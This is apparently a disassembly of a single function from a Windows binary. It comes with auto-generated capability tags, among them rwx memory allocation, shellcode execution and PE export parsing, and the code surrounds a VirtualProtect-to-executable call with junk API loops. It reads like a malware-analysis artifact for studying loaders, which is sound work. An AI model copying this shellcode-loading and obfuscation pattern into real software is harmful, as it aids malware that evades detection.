Function at 0x49ead0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Resolve function by parsing pe exports
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a5aa6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x21b0
call fcn.0040d3e0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [sym.imp.GDI32.dll_SetBkColor]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e330
jge 0x49eb1e
call ebx
push edi
push edi
call ebp
cmp esi, 0x1e9a5eb2
jle 0x49eb3a
cmp dword [esp + 0x10], 0xbf2068
je 0x49eb3a
cmp dword [esp + 0x4c], 0x926a1a8
jne 0x49eb43
inc esi
cmp esi, 0x98a0a
jl 0x49eb10
cmp dword [0x260eabc], 0xcf8
jne 0x49ec49
push edi
push edi
push edi
call fcn.00404df6
add esp, 0xc
push 0x403340
push edi
call fcn.00404df6
push edi
push edi
push edi
push edi
call fcn.00404d9e
push edi
call fcn.00404dbb
add esp, 0x1c
push edi
push edi
call fcn.0040484c
push edi
call fcn.00404deb
add esp, 0xc
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x21cc], edi
xor eax, eax
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], edi
mov byte [esp + 0x40], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x49ebb4
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x49ebce
push 0x403674
call fcn.004047ab
cmp esi, 0xf
jbe 0x49ebe1
push edi
push esi
lea eax, [esp + 0x48]
push eax
call fcn.00404590
jmp 0x49ebee
cmp esi, edi
jne 0x49ebf0
mov dword [esp + 0x50], edi
mov byte [esp + 0x40], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x49ec2b
mov eax, dword [esp + 0x40]
cmp dword [esp + 0x54], ebx
jae 0x49ec0a
lea eax, [esp + 0x40]
push esi
push edi
push eax
call fcn.00409640
mov eax, dword [esp + 0x4c]
add esp, 0xc
mov dword [esp + 0x50], esi
cmp dword [esp + 0x54], ebx
jae 0x49ec27
lea eax, [esp + 0x40]
mov byte [eax + esi], 0
cmp dword [esp + 0x54], ebx
jb 0x49ec3e
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00404eb3
add esp, 4
call fcn.00404819
push edi
call fcn.0040523f
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileType]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x408
jne 0x49ec73
mov eax, 0x5d1
add dword [0x260eabc], eax
cmp dword [0x260eabc], 3
jne 0x49ec90
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x5c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x49ec60
mov eax, dword [0x260eabc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4c484c], eax
mov eax, dword [0x260eabc]
xor esi, esi
test eax, eax
je 0x49ecfd
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp eax, 0xfe
jne 0x49ecd0
push 0
call edi
call ebx
call fcn.0049e790
mov eax, dword [0x260eabc]
cmp eax, 0x29
jne 0x49ecf8
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403350
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x260eabc]
inc esi
cmp esi, eax
jb 0x49ecc3
cmp eax, 0x70
jne 0x49edf5
push 0x4033ac
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x49ee48
push 0
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x260eabc]
cmp eax, 0xdf
jne 0x49ef59
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403520
call edi
push 0x403540
push 0
push 0
call ebp
lea eax, [esp + 0x3c]
push eax
push 0x403594
push 0
call ebx
xor eax, eax
lea ecx, [esp + 0x78]
push ecx
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0x4035bc
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea edx, [esp + 0x38]
push edx
push 0
lea eax, [esp + 0x1c8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x4035dc
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x5c4]
push edx
push 0x4035e8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x9c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x48]
push 0
push edx
mov dword [esp + 0x4c], 0
call fcn.004095c0
add esp, 0xc
push 0
lea eax, [esp + 0x44]
push eax
push 0x403600
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov eax, dword [0x260eabc]
dec dword [esp + 0x10]
jne 0x49ee15
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ebx, [ebx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x49ef80
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x260eabc], 0x222
jne 0x49efb0
push 0
call esi
dec edi
jne 0x49efa0
mov edx, dword [0x260eabc]
mov eax, dword [0x4c484c]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
mov byte [0x4bfab8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0049ea80
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x260eabc], ebx
jne 0x49effe
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x20]
push edx
push 0
call edi
cmp esi, 0x2f64
jne 0x49f010
add dword [0x4c484c], 0
inc esi
cmp esi, 0x1605a
jl 0x49efe6
call fcn.0049ea20
cmp dword [0x260eabc], 0xc30
jne 0x49f0ff
lea eax, [esp + 0x9c0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea edx, [esp + 0x19c4]
push edx
push 0
push 0x40366c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0x11c4]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0x30
lea ecx, [esp + 0x48]
push 0
push ecx
mov dword [esp + 0x4c], 0
call fcn.004095c0
mov edx, dword [esp + 0x20]
add esp, 0xc
push edx
lea eax, [esp + 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
mov ecx, dword [esp + 0x21c4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret